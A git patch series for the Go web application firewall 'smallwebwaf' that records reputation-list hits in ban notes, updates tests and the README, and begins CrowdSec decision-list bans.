seen, how many of them the ban has refused, and how many + bans the netblock had before, for a broken limit, for a clear sign of attack + and by an admin. At most `SWWAF_MAX_BANS` bans `smallwebwaf` made are kept, + past, active and permanent; past that, the earliest such ban of the netblock + that has gone longest without a request is dropped first. The bans whose cause + is `admin`, those you make or keep, are kept besides, and never dropped. + `bans.json` shows the bans and their notes, a restart lifts none, and you + make, keep or lift a ban by editing it (see "State files" below). - Checks each request against the rules of the rule files (see "Rule files" below) after the rate limits, and before its body is read. A `log` rule that matches is noted in the log line; a `block` rule refuses the request with @@ -1074,7 +1075,11 @@ with times in UTC. ban for a broken limit is `requests` or `bytes`, what the limit is on. For a limit a biased threshold lowered, the reason and the notes' `limit` give the lowered limit, and the notes' `limit_percent` and `limit_percent_setting` the - client's percentage of that kind of limit and the setting that gave it. + client's percentage of that kind of limit and the setting that gave it. The + notes' `reputation` gives each blocklist, DNSBL zone or AbuseIPDB that listed + the client when the ban was made, as its `source`, named and ordered as in the + request log's `reputation`, with AbuseIPDB's `score` of the client. It is left + out when none did, and the example below shows it. - `clients.json`: each client's two buckets of requests in the minute, the hour and the day, its two buckets of bytes in each, `minute_bytes`, `hour_bytes` and `day_bytes`, and its history: when it was first and last seen, its AS @@ -1121,6 +1126,60 @@ with times in UTC. Slack and ntfy too, stops the start: put the list under `"webhook"`, or remove the file. +This `bans.json` holds a ban for a broken rate limit on a client that a DNSBL +zone lists and AbuseIPDB scores at 100, whose limits `SWWAF_REPUTATION_ACTION`, +at its default of `limit:25`, lowered to a quarter: + +```json +{ + "version": 1, + "bans": [ + { + "netblock": "203.0.113.9/32", + "start": "2026-10-06T12:00:41.5Z", + "expires": "2026-10-06T13:00:41.5Z", + "cause": "limit", + "reason": "requests per minute over the limit of 250", + "notes": { + "asn": "AS64496", + "as_name": "Example Net", + "country": "DE", + "kind": "requests", + "limit": 250, + "window": "minute", + "count": 251, + "limit_percent": 25, + "limit_percent_setting": "SWWAF_REPUTATION_ACTION", + "reputation": [ + { + "source": "dnsbl.dronebl.org" + }, + { + "source": "abuseipdb", + "score": 100 + } + ], + "request": { + "time": "2026-10-06T12:00:41.5Z", + "method": "GET", + "host": "app.example", + "path": "/owner/repo/commits/branch/main?page=812", + "status": 403, + "user_agent": "scraper/1.0" + }, + "requests": 512, + "refused": 0, + "earlier_bans": { + "limit": 0, + "attack": 0, + "admin": 0 + } + } + } + ] +} +``` + `bans.json` is written `SWWAF_STATE_WRITE_DELAY` after a ban is made, lifted through `DELETE /_smallwebwaf/bans/`, or made permanent, with every such change in between, and every file every `SWWAF_STATE_COUNTER_INTERVAL` and when @@ -1759,8 +1818,8 @@ fetched before then stays in use, and the failure is counted, logged and raised as a `source_failure` alert; a fetch cut off as `smallwebwaf` stops is not a failure. The last good copy of each list is kept whole, comment lines included, in `reputation.json` (see "State files" above), so that a restart keeps it in -use too. Each list is named by its URL, in the request log, the alerts and the -metrics, so keep a secret out of it. +use too. Each list is named by its URL, in the request log, the alerts, the +notes of bans and the metrics, so keep a secret out of it. A client in `SWWAF_ALLOW_NETS` is not checked. Any other is checked by its own address after the country lists, and `SWWAF_BLOCKLIST_ACTION` says what is done @@ -1829,10 +1888,10 @@ it, such as `.xbl.dq.spamhaus.net`. The key of a zone under `dq.spamhaus.net` is its first label, and `smallwebwaf` shows `********` in its place wherever it names the zone, as `********.xbl.dq.spamhaus.net`: in the settings logged at start, an error that stops the start, its own messages, the -request log, the alerts and the metrics. Only `reputation.json` keeps the zone -with its key. A key in the name of any other zone is shown as given. Several -zones refuse queries that come through a public resolver; `SWWAF_DNSBL_RESOLVER` -names another resolver to ask through. +request log, the alerts, the notes of bans and the metrics. Only +`reputation.json` keeps the zone with its key. A key in the name of any other +zone is shown as given. Several zones refuse queries that come through a public +resolver; `SWWAF_DNSBL_RESOLVER` names another resolver to ask through. ## AbuseIPDB diff --git a/internal/bans/admin_test.go b/internal/bans/admin_test.go index 6047f48..d919772 100644 --- a/internal/bans/admin_test.go +++ b/internal/bans/admin_test.go @@ -2,6 +2,7 @@ package bans_test import ( "net/netip" + "reflect" "testing" "time" @@ -117,7 +118,7 @@ func TestLiftedBanForALimitRefusesNothingAndMakesNoBanLonger(t *testing.T) { } held := ledger.Bans(netblock) - if len(held) != 2 || held[0] != lifted { + if len(held) != 2 || !reflect.DeepEqual(held[0], lifted) { t.Errorf("the ledger holds %+v, want the lifted ban and the new one", held) } } @@ -212,7 +213,7 @@ func TestAdminsBanIsMadeWhileAnotherLasts(t *testing.T) { got := ledger.BanForAdmin(netip.MustParsePrefix("203.0.113.9/24"), now, time.Time{}, "probes for logins") - if got != want { + if !reflect.DeepEqual(got, want) { t.Errorf("the admin's ban is\n%+v\nwant\n%+v", got, want) } @@ -224,7 +225,7 @@ func TestAdminsBanIsMadeWhileAnotherLasts(t *testing.T) { // It refuses once the ban for the limit has ended. ban, banned, _ := ledger.Find(netblock.Addr(), midnight().Add(2*time.Hour)) - if !banned || ban != want { + if !banned || !reflect.DeepEqual(ban, want) { t.Errorf("after the limit's ban the netblock is under %+v (%t), want %+v", ban, banned, want) } diff --git a/internal/bans/bans.go b/internal/bans/bans.go index e1366fd..fc7275c 100644 --- a/internal/bans/bans.go +++ b/internal/bans/bans.go @@ -118,6 +118,10 @@ type Notes struct { // of the rule file rule that matched, and its target. RuleID string `json:"rule_id,omitempty"` Target string `json:"target,omitempty"` + // Reputation is the reputation sources that listed the client when + // the request that caused the ban was made, in the order the request + // log's reputation names them. It is left out when none did. + Reputation []ReputationHit `json:"reputation,omitempty"` // Request is the request that broke the limit, or whose bytes broke // it, or that was the clear sign of attack. Request Request `json:"request"` @@ -131,6 +135,15 @@ type Notes struct { EarlierBans EarlierBans `json:"earlier_bans"` } +// ReputationHit is a reputation source that listed a client, as a +// reputation_hit alert's detail gives it: Source is the blocklist's URL, +// the DNSBL zone with its key masked, or "abuseipdb", and Score, for +// AbuseIPDB alone, its score of the client. +type ReputationHit struct { + Source string `json:"source"` + Score *int64 `json:"score,omitempty"` +} + // EarlierBans counts a netblock's bans before a ban, by cause. type EarlierBans struct { Limit int `json:"limit"` diff --git a/internal/bans/bans_test.go b/internal/bans/bans_test.go index a04bef7..5f7ac11 100644 --- a/internal/bans/bans_test.go +++ b/internal/bans/bans_test.go @@ -2,6 +2,7 @@ package bans_test import ( "net/netip" + "reflect" "strings" "testing" "time" @@ -130,13 +131,13 @@ func TestBrokenLimitDuringABanMakesNoOther(t *testing.T) { again, made := ledger.BanForLimit(netblock, midnight().Add(time.Minute), bans.Notes{}) - if made || again != first || len(ledger.Bans(netblock)) != 1 { + if made || !reflect.DeepEqual(again, first) || len(ledger.Bans(netblock)) != 1 { t.Errorf("a limit broken during a ban gave %+v, made %t, and %d bans, "+ "want %+v, not made, and 1", again, made, len(ledger.Bans(netblock)), first) } again, made = ledger.BanForAttack(netblock, midnight().Add(time.Minute), bans.Notes{}) - if made || again != first { + if made || !reflect.DeepEqual(again, first) { t.Errorf("an attack during a ban gave %+v, made %t, want %+v, not made", again, made, first) } @@ -182,7 +183,7 @@ func TestFindCountsNothing(t *testing.T) { ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Requests: 5}) got, banned, _ := ledger.Find(netblock.Addr(), ban.Expires.Add(-time.Nanosecond)) - if !banned || got != ban { + if !banned || !reflect.DeepEqual(got, ban) { t.Errorf("find during the ban gives %+v and %t, want %+v", got, banned, ban) } @@ -191,7 +192,7 @@ func TestFindCountsNothing(t *testing.T) { t.Error("the ban did not end") } - if notes := ledger.Bans(netblock)[0].Notes; notes != ban.Notes { + if notes := ledger.Bans(netblock)[0].Notes; !reflect.DeepEqual(notes, ban.Notes) { t.Errorf("the notes are %+v, want them unchanged, %+v", notes, ban.Notes) } } @@ -247,7 +248,7 @@ func TestFullLedgerDropsTheEarlierBanOfTheNetblockBannedAgain(t *testing.T) { second, _ := ledger.BanForLimit(netblock, first.Expires, bans.Notes{}) held := ledger.Bans(netblock) - if len(held) != 1 || held[0] != second || + if len(held) != 1 || !reflect.DeepEqual(held[0], second) || held[0].Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) { t.Errorf("the ledger holds %+v, want only the second ban, "+ "with 1 earlier ban for a limit", held) @@ -342,7 +343,7 @@ func TestWouldBanGivesTheBanWithoutMakingIt(t *testing.T) { // While the first ban lasts, none would be made. during, would := ledger.WouldBanForAttack(netblock, midnight(), bans.Notes{}) - if would || during != first { + if would || !reflect.DeepEqual(during, first) { t.Errorf("during the first ban, would ban %t with %+v, want false with %+v", would, during, first) } @@ -371,7 +372,7 @@ func TestWouldBanGivesTheBanWithoutMakingIt(t *testing.T) { // The ban made is the one that would have been. made, _ := ledger.BanForLimit(netblock, first.Expires, limitNotes) - if made != limit { + if !reflect.DeepEqual(made, limit) { t.Errorf("the ban made is %+v, want %+v", made, limit) } } diff --git a/internal/bans/snapshot_test.go b/internal/bans/snapshot_test.go index 5810004..2c6ecb4 100644 --- a/internal/bans/snapshot_test.go +++ b/internal/bans/snapshot_test.go @@ -2,6 +2,7 @@ package bans_test import ( "net/netip" + "reflect" "slices" "strings" "testing" @@ -224,7 +225,7 @@ func TestLoadKeepsAtMostMaxBansDroppingTheEarliest(t *testing.T) { ledger.Load([]bans.Ban{later, earlier}) held := ledger.Snapshot() - if len(held) != 1 || held[0] != later { + if len(held) != 1 || !reflect.DeepEqual(held[0], later) { t.Errorf("the ledger holds %+v, want only the ban that began later", held) } } @@ -267,7 +268,7 @@ func TestLoadReplacesTheBansHeld(t *testing.T) { bans.Notes{}) want := []bans.Ban{first, second, kept} - if got := ledger.Snapshot(); !slices.Equal(got, want) { + if got := ledger.Snapshot(); !reflect.DeepEqual(got, want) { t.Errorf("the ledger holds %+v, want %+v", got, want) } } diff --git a/internal/proxy/admin_test.go b/internal/proxy/admin_test.go index f799b59..0a88484 100644 --- a/internal/proxy/admin_test.go +++ b/internal/proxy/admin_test.go @@ -4,7 +4,7 @@ import ( "encoding/json" "net/http" "net/netip" - "slices" + "reflect" "strconv" "strings" "testing" @@ -48,7 +48,7 @@ func TestAdminEndpointsAreOffWhileTheTokenIsUnset(t *testing.T) { } } - if after := server.Ledger.Snapshot(); !slices.Equal(after, before) { + if after := server.Ledger.Snapshot(); !reflect.DeepEqual(after, before) { t.Errorf("the bans are now\n%+v\nwant them unchanged\n%+v", after, before) } } @@ -79,7 +79,7 @@ func TestAdminEndpointsNeedTheAdminToken(t *testing.T) { } } - if after := server.Ledger.Snapshot(); !slices.Equal(after, before) { + if after := server.Ledger.Snapshot(); !reflect.DeepEqual(after, before) { t.Errorf("%s %s without the token changed the bans to\n%+v\nfrom\n%+v", e.method, e.path, after, before) } diff --git a/internal/proxy/alerts_test.go b/internal/proxy/alerts_test.go index 49195b9..3caa81b 100644 --- a/internal/proxy/alerts_test.go +++ b/internal/proxy/alerts_test.go @@ -118,7 +118,8 @@ func TestObserveModeRaisesTheBanAlertsItWouldHave(t *testing.T) { line := s.get(ipv6Client, http.StatusOK, requestlog.ActionForward) // No ban is made, and none made permanent. - if held := server.Ledger.Snapshot(); len(held) != 1 || held[0] != attackBan || + held := server.Ledger.Snapshot() + if len(held) != 1 || !reflect.DeepEqual(held[0], attackBan) || line.BanExpires != requestlog.FormatTime(attackBan.Expires) { t.Errorf("the ledger holds %+v, and the log line gives %s, want the ban "+ "for the attack alone, as it was", held, line.BanExpires) diff --git a/internal/proxy/bans.go b/internal/proxy/bans.go index d56b066..fd69d5a 100644 --- a/internal/proxy/bans.go +++ b/internal/proxy/bans.go @@ -127,15 +127,16 @@ func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) { } notes := bans.Notes{ - ASN: rq.line.ASN, - ASName: rq.line.ASName, - Country: rq.line.Country, - Kind: hit.Kind, - Limit: hit.Limit, - Window: hit.Window, - Count: hit.Count, - Request: rq.noted(now, status), - Requests: rq.netblockRequests(netblock), + ASN: rq.line.ASN, + ASName: rq.line.ASName, + Country: rq.line.Country, + Kind: hit.Kind, + Limit: hit.Limit, + Window: hit.Window, + Count: hit.Count, + Reputation: rq.reputation, + Request: rq.noted(now, status), + Requests: rq.netblockRequests(netblock), } percent := rq.limitPercent @@ -174,13 +175,14 @@ func (rq *request) banForAttack(now time.Time, rule rules.Rule) { } notes := bans.Notes{ - ASN: rq.line.ASN, - ASName: rq.line.ASName, - Country: rq.line.Country, - RuleID: rule.ID, - Target: rule.Target, - Request: rq.noted(now, rq.h.config.BanResponse), - Requests: rq.netblockRequests(netblock), + ASN: rq.line.ASN, + ASName: rq.line.ASName, + Country: rq.line.Country, + RuleID: rule.ID, + Target: rule.Target, + Reputation: rq.reputation, + Request: rq.noted(now, rq.h.config.BanResponse), + Requests: rq.netblockRequests(netblock), } if rq.h.config.Observe { diff --git a/internal/proxy/bans_test.go b/internal/proxy/bans_test.go index 03926cc..fc27408 100644 --- a/internal/proxy/bans_test.go +++ b/internal/proxy/bans_test.go @@ -7,6 +7,7 @@ import ( "maps" "net/http" "net/netip" + "reflect" "slices" "sync" "testing" @@ -312,7 +313,7 @@ func TestBanNotes(t *testing.T) { ledger := server.Ledger got := ledger.Bans(netblock) - if len(got) != 1 || got[0] != want { + if len(got) != 1 || !reflect.DeepEqual(got[0], want) { t.Fatalf("bans\n%+v\nwant\n%+v", got, want) } diff --git a/internal/proxy/bytelimits_test.go b/internal/proxy/bytelimits_test.go index f96f31b..069e6da 100644 --- a/internal/proxy/bytelimits_test.go +++ b/internal/proxy/bytelimits_test.go @@ -6,6 +6,7 @@ import ( "net" "net/http" "net/netip" + "reflect" "strconv" "strings" "testing" @@ -337,7 +338,7 @@ func TestBanForABrokenByteLimitHasItsNotesAndItsAlert(t *testing.T) { } got := server.Ledger.Bans(netblock) - if len(got) != 1 || got[0] != want { + if len(got) != 1 || !reflect.DeepEqual(got[0], want) { t.Fatalf("bans\n%+v\nwant\n%+v", got, want) } diff --git a/internal/proxy/observe_test.go b/internal/proxy/observe_test.go index bea13ec..8667af9 100644 --- a/internal/proxy/observe_test.go +++ b/internal/proxy/observe_test.go @@ -5,6 +5,7 @@ import ( "io" "net/http" "net/netip" + "reflect" "sync/atomic" "testing" "time" @@ -126,7 +127,7 @@ func TestObserveModeMakesNoBanAndKeepsTheBansItHas(t *testing.T) { } got := server.Ledger.Snapshot() - if len(got) != 1 || got[0] != kept { + if len(got) != 1 || !reflect.DeepEqual(got[0], kept) { t.Errorf("bans\n%+v\nwant only\n%+v", got, kept) } } diff --git a/internal/proxy/reputation.go b/internal/proxy/reputation.go index d1439b5..3a2cdd2 100644 --- a/internal/proxy/reputation.go +++ b/internal/proxy/reputation.go @@ -4,6 +4,7 @@ import ( "context" "sneak.berlin/go/smallwebwaf/internal/alerts" + "sneak.berlin/go/smallwebwaf/internal/bans" "sneak.berlin/go/smallwebwaf/internal/ratelimit" "sneak.berlin/go/smallwebwaf/internal/reputation" ) @@ -62,29 +63,34 @@ func (rq *request) abuseIPDBDenied(ctx context.Context) bool { } rq.abuseIPDBHit = true - rq.noteHit(reputation.AbuseIPDBSource, "scored by AbuseIPDB at or over "+ - "SWWAF_ABUSEIPDB_MIN_SCORE", map[string]any{ - "source": reputation.AbuseIPDBSource, "score": score, - }) + rq.noteHit(bans.ReputationHit{Source: reputation.AbuseIPDBSource, Score: &score}, + "scored by AbuseIPDB at or over SWWAF_ABUSEIPDB_MIN_SCORE") return rq.h.config.ReputationAction == deny } // noteListed notes each of sources, the URLs of the blocklists or the // DNSBL zones, their keys masked, that list the client, as noteHit does, -// with reason, and the source in the alert's detail. +// with reason. func (rq *request) noteListed(sources []string, reason string) { for _, source := range sources { - rq.noteHit(source, reason, map[string]any{"source": source}) + rq.noteHit(bans.ReputationHit{Source: source}, reason) } } -// noteHit adds source, which lists the client, to the log line's -// reputation, counts it in the metrics, and raises a reputation_hit alert -// with reason and detail. -func (rq *request) noteHit(source, reason string, detail map[string]any) { - rq.line.Reputation = append(rq.line.Reputation, source) - rq.h.metrics.ReputationHit(source) +// noteHit adds hit's source, which lists the client, to the log line's +// reputation, and hit to the notes of a ban the request makes, counts the +// source in the metrics, and raises a reputation_hit alert with reason, +// whose detail gives hit's source and score. +func (rq *request) noteHit(hit bans.ReputationHit, reason string) { + detail := map[string]any{"source": hit.Source} + if hit.Score != nil { + detail["score"] = *hit.Score + } + + rq.line.Reputation = append(rq.line.Reputation, hit.Source) + rq.reputation = append(rq.reputation, hit) + rq.h.metrics.ReputationHit(hit.Source) rq.h.alerts.Raise(alerts.Alert{ Event: alerts.EventReputationHit, Client: rq.client, diff --git a/internal/proxy/reputation_test.go b/internal/proxy/reputation_test.go index 74fe682..5bf0b47 100644 --- a/internal/proxy/reputation_test.go +++ b/internal/proxy/reputation_test.go @@ -6,6 +6,7 @@ import ( "maps" "net/http" "net/netip" + "reflect" "slices" "strconv" "strings" @@ -13,6 +14,7 @@ import ( "time" "sneak.berlin/go/smallwebwaf/internal/alerts" + "sneak.berlin/go/smallwebwaf/internal/bans" "sneak.berlin/go/smallwebwaf/internal/proxy" "sneak.berlin/go/smallwebwaf/internal/ratelimit" "sneak.berlin/go/smallwebwaf/internal/reputation" @@ -874,6 +876,73 @@ func TestWithoutAnAbuseIPDBKeyNoClientIsCheckedNorAScoreUsed(t *testing.T) { `instance="`+alertInstance+`",source="`+abuseipdb+`"}`) } +func TestBanNotesNameEachReputationSourceThatListedTheClient(t *testing.T) { + t.Parallel() + + score := int64(90) + listed := []bans.ReputationHit{ + {Source: dropURL}, {Source: dnsblZone}, {Source: abuseipdb, Score: &score}, + } + + for _, tc := range []struct { + name string + // ban sends the requests from the client at from that ban it. + ban func(s *sender, from string) + }{ + {"for a broken rate limit", func(s *sender, from string) { + s.get(from, http.StatusOK, requestlog.ActionForward) + s.get(from, http.StatusForbidden, requestlog.ActionRateLimited) + }}, + {"for a clear sign of attack", func(s *sender, from string) { + s.request(from, probePath, http.StatusForbidden, requestlog.ActionBanned) + }}, + } { + t.Run(tc.name, func(t *testing.T) { + t.Parallel() + + s, _, server, queue := startWithAlerts(t, map[string]string{ + rateLimitPerMinute: "1", rulesDir: writeRules(t, testRules), + blocklistURLs: dropURL, blocklistAction: actionLog, + dnsblZones: dnsblZone, dnsblResolver: noResolver, + abuseIPDBKey: accountKey, reputationAction: actionLog, + }) + // Every source lists client, and none otherClient, whose score is + // under SWWAF_ABUSEIPDB_MIN_SCORE, 75 by default. + loadLists(t, server, map[string][]string{dropURL: {client}}) + loadVerdicts(server, map[string][]string{client: {dnsblZone}, otherClient: nil}) + loadScores(server, map[string]int64{client: score, otherClient: 74}) + + for _, banned := range []struct { + from string + want []bans.ReputationHit + }{{client, listed}, {otherClient, nil}} { + tc.ban(s, banned.from) + + held := server.Ledger.Bans(netip.MustParsePrefix(banned.from + "/32")) + if len(held) != 1 || !reflect.DeepEqual(held[0].Notes.Reputation, banned.want) { + t.Errorf("bans of %s %+v, want one whose notes have the reputation %+v", + banned.from, held, banned.want) + } + } + + // The alert for each ban carries the same in its notes. + var alerted [][]bans.ReputationHit + + for _, alert := range queue.Snapshot().Waiting[alerts.DestinationWebhook] { + if alert.Event == alerts.EventBan { + notes, _ := alert.Detail["notes"].(bans.Notes) + alerted = append(alerted, notes.Reputation) + } + } + + if want := [][]bans.ReputationHit{listed, nil}; !reflect.DeepEqual(alerted, want) { + t.Errorf("the ban alerts' notes have the reputation %+v, want %+v", + alerted, want) + } + }) + } +} + // listsFetched is when loadLists has the copies fetched. func listsFetched() time.Time { return time.Date(2026, 10, 5, 0, 0, 0, 0, time.UTC) diff --git a/internal/proxy/request.go b/internal/proxy/request.go index 293abd3..4bcf4ca 100644 --- a/internal/proxy/request.go +++ b/internal/proxy/request.go @@ -17,6 +17,7 @@ import ( "time" "sneak.berlin/go/smallwebwaf/internal/anomaly" + "sneak.berlin/go/smallwebwaf/internal/bans" "sneak.berlin/go/smallwebwaf/internal/config" "sneak.berlin/go/smallwebwaf/internal/lookup" "sneak.berlin/go/smallwebwaf/internal/ratelimit" @@ -71,7 +72,10 @@ type request struct { // dnsblListed once a DNSBL zone's verdict is, and abuseIPDBHit once // AbuseIPDB's score of it is a hit. blocklisted, dnsblListed, abuseIPDBHit bool - start time.Time + // reputation is the reputation sources that list the client, for the + // notes of a ban the request makes. + reputation []bans.ReputationHit + start time.Time // checked is when the checks were done, and upstreamStart when the // request was handed to the app. checked time.Time diff --git a/internal/proxy/rulefiles_test.go b/internal/proxy/rulefiles_test.go index db27689..0d951a0 100644 --- a/internal/proxy/rulefiles_test.go +++ b/internal/proxy/rulefiles_test.go @@ -5,6 +5,7 @@ import ( "net/netip" "os" "path/filepath" + "reflect" "slices" "testing" "time" @@ -73,7 +74,7 @@ func TestEachRuleAction(t *testing.T) { } got := server.Ledger.Bans(netblock) - if len(got) != 1 || got[0] != want { + if len(got) != 1 || !reflect.DeepEqual(got[0], want) { t.Fatalf("bans\n%+v\nwant\n%+v", got, want) } diff --git a/internal/state/state_test.go b/internal/state/state_test.go index fe228ba..4d27842 100644 --- a/internal/state/state_test.go +++ b/internal/state/state_test.go @@ -75,6 +75,15 @@ const permanentBansJSON = `{ "limit": 1000, "window": "minute", "count": 1000.5, + "reputation": [ + { + "source": "https://lists.example/drop.txt" + }, + { + "source": "abuseipdb", + "score": 100 + } + ], "request": { "time": "2026-10-06T00:00:00Z", "method": "GET", @@ -919,7 +928,7 @@ func TestBansWrittenOnceWriteDelayAfterABan(t *testing.T) { load(t, read) want := []bans.Ban{first, second} - if got := read.Ledger.Snapshot(); !slices.Equal(got, want) { + if got := read.Ledger.Snapshot(); !reflect.DeepEqual(got, want) { t.Errorf("bans.json holds %+v, want %+v", got, want) } @@ -1808,6 +1817,8 @@ func fill(params state.Params) { // permanentBan is the ban permanentBansJSON holds. func permanentBan() bans.Ban { + score := int64(100) + return bans.Ban{ Netblock: netip.MustParsePrefix("2001:db8::/64"), Start: midnight(), @@ -1820,6 +1831,9 @@ func permanentBan() bans.Ban { Limit: 1000, Window: "minute", Count: 1000.5, + Reputation: []bans.ReputationHit{ + {Source: blocklistURL}, {Source: reputation.AbuseIPDBSource, Score: &score}, + }, Request: bans.Request{ Time: midnight(), Method: "GET", @@ -1995,10 +2009,10 @@ func edit(t *testing.T, dir, name, content string) { // wantEqual checks that the entries read back from file are those // written. -func wantEqual[E comparable](t *testing.T, file string, got, want []E) { +func wantEqual[E any](t *testing.T, file string, got, want []E) { t.Helper() - if !slices.Equal(got, want) { + if !reflect.DeepEqual(got, want) { t.Errorf("%s read back\n%+v\nwant\n%+v", file, got, want) } } From 5f3fb488095df0c2db5b05fa6f7dc26cf02e49d8 Mon Sep 17 00:00:00 2001 From: clawbot <35+clawbot@noreply.example.org> Date: Thu, 8 Oct 2026 05:15:06 +0200 Subject: [PATCH 45/64] CrowdSec decision list fetched, kept, and its clients banned until the decision ends (closes #106) SWWAF_CROWDSEC_LAPI_URL and SWWAF_CROWDSEC_LAPI_KEY name an engine whose decision list, /v1/decisions, is fetched every minute with the key in X-Api-Key, following no redirect, and kept as a blocklist is: used while a fetch fails, and across restarts through reputation.json. Ban decisions on an Ip or a Range end at the fetch time plus their duration. A listed client's request is refused and bans its netblock with the cause crowdsec until the decision ends; bans.json, ban notes and metrics take the cause. Judgement call: fetched every minute, not a setting. Judgement call: a crowdsec ban never lengthens a limit ban. Judgement call: a lifted crowdsec ban is remade while its decision lasts. Model: opus-5-5 --- README.md | 467 +++++++++++++-------- internal/alerts/alerts.go | 5 +- internal/bans/bans.go | 125 ++++-- internal/bans/crowdsec_test.go | 90 ++++ internal/config/config.go | 57 +++ internal/config/config_test.go | 119 ++++++ internal/metrics/metrics.go | 25 +- internal/proxy/bans.go | 39 ++ internal/proxy/crowdsec_test.go | 181 ++++++++ internal/proxy/proxy.go | 12 +- internal/proxy/reputation.go | 17 + internal/proxy/request.go | 9 +- internal/reputation/crowdsec_test.go | 513 +++++++++++++++++++++++ internal/reputation/export_test.go | 1 + internal/reputation/reputation.go | 205 +++++++-- internal/reputation/reputation_test.go | 22 +- internal/requestlog/requestlog.go | 8 +- internal/smallwebwaf/smallwebwaf_test.go | 74 ++++ internal/state/state.go | 7 +- internal/state/state_test.go | 16 +- 20 files changed, 1700 insertions(+), 292 deletions(-) create mode 100644 internal/bans/crowdsec_test.go create mode 100644 internal/proxy/crowdsec_test.go create mode 100644 internal/reputation/crowdsec_test.go diff --git a/README.md b/README.md index 3d7abd2..0a006fa 100644 --- a/README.md +++ b/README.md @@ -26,11 +26,12 @@ Slack and ntfy, and remote log sending. So is the stage after that: the AS number and country of every client, looked up through GeoJS or in the IPinfo Lite database file, the byte limits, the biased thresholds, lower limits for the AS numbers and countries you list, and the anomaly thresholds, alerts for -unusual traffic that refuse nothing. So are the first three parts of the stage -after that: the blocklists you name by URL, which it fetches and keeps, with a -file of AS numbers' percentages fetched the same way, the DNS blocklists (DNSBL -zones), which it asks about each client in the background, and AbuseIPDB, which -it asks in the background about each client that has committed an offence. +unusual traffic that refuse nothing. So is the stage after that: the blocklists +you name by URL, which it fetches and keeps, with a file of AS numbers' +percentages fetched the same way, the DNS blocklists (DNSBL zones), which it +asks about each client in the background, AbuseIPDB, which it asks in the +background about each client that has committed an offence, and the decision +list of a CrowdSec engine you run, which it fetches and keeps as a blocklist. `smallwebwaf` passes each request to the app and the app's answer back, unchanged, within its timeouts and size limits, works out each client's address, looks up its AS number and country unless you switch that off, bans a client @@ -39,26 +40,28 @@ you choose, with lower limits for the clients of the AS numbers and countries you list, refuses a client that comes from a country you refuse or from a network you refuse, refuses, limits or only notes a client a blocklist or a DNSBL zone you name lists, or AbuseIPDB scores at or over the score you set, -lets the networks you choose through, checks each request against the rule files -and bans a client whose request is a clear sign of attack, keeps its bans, each -client's counters and history, GeoJS's answers, the last good copy of each list -it fetches, the DNSBL zones' verdicts, AbuseIPDB's scores and the AbuseIPDB +bans a client your CrowdSec engine's decision list lists until that decision +ends, lets the networks you choose through, checks each request against the rule +files and bans a client whose request is a clear sign of attack, keeps its bans, +each client's counters and history, GeoJS's answers, the last good copy of each +list it fetches, the DNSBL zones' verdicts, AbuseIPDB's scores and the AbuseIPDB checks spent today in JSON files across restarts, takes in your edits of those files, such as a ban you make, keep or lift, and of the rule files while it runs, writes a JSON log line for every request, sends its log lines to a syslog server too if you name one, sends an alert to a webhook, to Slack and to ntfy, each if you name one, for each ban it makes or makes permanent, for traffic over -an anomaly threshold you set, for a client a blocklist, a DNSBL zone or -AbuseIPDB lists, for GeoJS failing, a list it cannot fetch, a DNSBL zone or -AbuseIPDB that fails or refuses a query and the day's AbuseIPDB checks used up, -for a rule file or state file with an error and for a replacement of the lookup -database it cannot read, serves Prometheus metrics to a scraper that holds the -metrics token, lets an admin who holds the admin token list, add and lift bans -and ask what it knows of a client, and in `observe` mode passes on the requests -it would refuse, logging what it would have done with them. It comes as the -image the app's own image is built on. The rest of the design comes after that, -in the order of the build order in [`SPEC.md`](SPEC.md). The survey of existing -tools that led to the design is in [`EVALUATION.md`](EVALUATION.md). +an anomaly threshold you set, for a client a blocklist, the CrowdSec decision +list, a DNSBL zone or AbuseIPDB lists, for GeoJS failing, a list it cannot +fetch, a DNSBL zone or AbuseIPDB that fails or refuses a query and the day's +AbuseIPDB checks used up, for a rule file or state file with an error and for a +replacement of the lookup database it cannot read, serves Prometheus metrics to +a scraper that holds the metrics token, lets an admin who holds the admin token +list, add and lift bans and ask what it knows of a client, and in `observe` mode +passes on the requests it would refuse, logging what it would have done with +them. It comes as the image the app's own image is built on. The rest of the +design comes after that, in the order of the build order in +[`SPEC.md`](SPEC.md). The survey of existing tools that led to the design is in +[`EVALUATION.md`](EVALUATION.md). ## Getting started @@ -163,16 +166,17 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set, and the default rule file of and the requests or bytes counted in it, the client's percentage of that kind of limit and the setting that gave it when a biased threshold lowered the limit, the request that broke it, the client's AS number, AS name and country - once they are looked up, the blocklists, DNSBL zones and AbuseIPDB, with its - score, that listed the client when the ban was made, the netblock's requests - since it was first seen, how many of them the ban has refused, and how many - bans the netblock had before, for a broken limit, for a clear sign of attack - and by an admin. At most `SWWAF_MAX_BANS` bans `smallwebwaf` made are kept, - past, active and permanent; past that, the earliest such ban of the netblock - that has gone longest without a request is dropped first. The bans whose cause - is `admin`, those you make or keep, are kept besides, and never dropped. - `bans.json` shows the bans and their notes, a restart lifts none, and you - make, keep or lift a ban by editing it (see "State files" below). + once they are looked up, the blocklists, the CrowdSec decision list, DNSBL + zones and AbuseIPDB, with its score, that listed the client when the ban was + made, the netblock's requests since it was first seen, how many of them the + ban has refused, and how many bans the netblock had before, for a broken + limit, for a clear sign of attack, by an admin and for CrowdSec's decision. At + most `SWWAF_MAX_BANS` bans `smallwebwaf` made are kept, past, active and + permanent; past that, the earliest such ban of the netblock that has gone + longest without a request is dropped first. The bans whose cause is `admin`, + those you make or keep, are kept besides, and never dropped. `bans.json` shows + the bans and their notes, a restart lifts none, and you make, keep or lift a + ban by editing it (see "State files" below). - Checks each request against the rules of the rule files (see "Rule files" below) after the rate limits, and before its body is read. A `log` rule that matches is noted in the log line; a `block` rule refuses the request with @@ -214,6 +218,14 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set, and the default rule file of limit, the lowest of its percentages applying, as for a biased threshold, and with `log` nothing more is done. Whatever the action, the request's log line names the lists, and each raises an alert. +- Checks the client's own address against the decision list of the CrowdSec + engine `SWWAF_CROWDSEC_LAPI_URL` names, after the blocklists and before the + DNSBL zones (see "CrowdSec" below). A request from a client a decision in + force bans is refused with `SWWAF_BAN_RESPONSE` before its body is read, and + bans the client's netblock, as any ban covers it, until the decision ends, + with the cause `crowdsec`; the client's next requests are refused under that + ban. The request's log line names the list, and it raises an alert besides the + ban's. 